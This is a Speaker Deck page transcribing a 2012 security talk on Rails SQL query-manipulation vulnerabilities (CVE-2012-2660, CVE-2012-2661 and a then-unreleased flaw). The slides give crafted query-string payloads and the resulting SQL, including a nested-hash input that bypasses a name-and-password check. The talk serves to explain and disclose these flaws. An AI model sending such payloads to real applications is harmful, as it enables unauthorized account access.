Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Sponsored
·
Your Podcast. Everywhere. Effortlessly.
Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
→
Justin Collins
April 23, 2015
Programming
0
82
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
160
The Evolution of Rails Security
presidentbeef
1
850
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
160
Practical Static Analysis for Continuous Application Security
presidentbeef
0
220
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
480
Continuous Security with Practical Static Analysis
presidentbeef
1
350
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
270
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.2k
Tales from the Crypt
presidentbeef
1
270
Other Decks in Programming
See All in Programming
What Spring Developers Should Know About Jakarta EE
ivargrimstad
0
480
Claude Codeログ基盤の構築
giginet
PRO
7
3.5k
ベクトル検索のフィルタを用いた機械学習モデルとの統合 / python-meetup-fukuoka-06-vector-attr
monochromegane
2
490
条件判定に名前、つけてますか? #phperkaigi #c
77web
2
490
どんと来い、データベース信頼性エンジニアリング / Introduction to DBRE
nnaka2992
1
310
PHP 7.4でもOpenTelemetryゼロコード計装がしたい! / PHPerKaigi 2026
arthur1
1
320
DevinとClaude Code、SREの現場で使い倒してみた件
karia
1
1.1k
Java 21/25 Virtual Threads 소개
debop
0
140
生成 AI 時代のスナップショットテストってやつを見せてあげますよ(α版)
ojun9
0
280
メタプログラミングで実現する「コードを仕様にする」仕組み/nikkei-tech-talk43
nikkei_engineer_recruiting
0
200
GoのDB アクセスにおける 「型安全」と「柔軟性」の両立 - Bob という選択肢
tak848
0
250
モックわからないマン卒業記 ~振る舞いを起点に見直した、フロントエンドテストにおけるモックの使いどころ~
tasukuwatanabe
3
410
Featured
See All Featured
Designing for Timeless Needs
cassininazir
0
170
Code Reviewing Like a Champion
maltzj
528
40k
svc-hook: hooking system calls on ARM64 by binary rewriting
retrage
2
180
How To Speak Unicorn (iThemes Webinar)
marktimemedia
1
410
Building a Scalable Design System with Sketch
lauravandoore
463
34k
Speed Design
sergeychernyshev
33
1.6k
Build your cross-platform service in a week with App Engine
jlugia
234
18k
Skip the Path - Find Your Career Trail
mkilby
1
86
Highjacked: Video Game Concept Design
rkendrick25
PRO
1
320
The AI Search Optimization Roadmap by Aleyda Solis
aleyda
1
5.4k
Color Theory Basics | Prateek | Gurzu
gurzu
0
260
DBのスキルで生き残る技術 - AI時代におけるテーブル設計の勘所
soudai
PRO
64
52k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1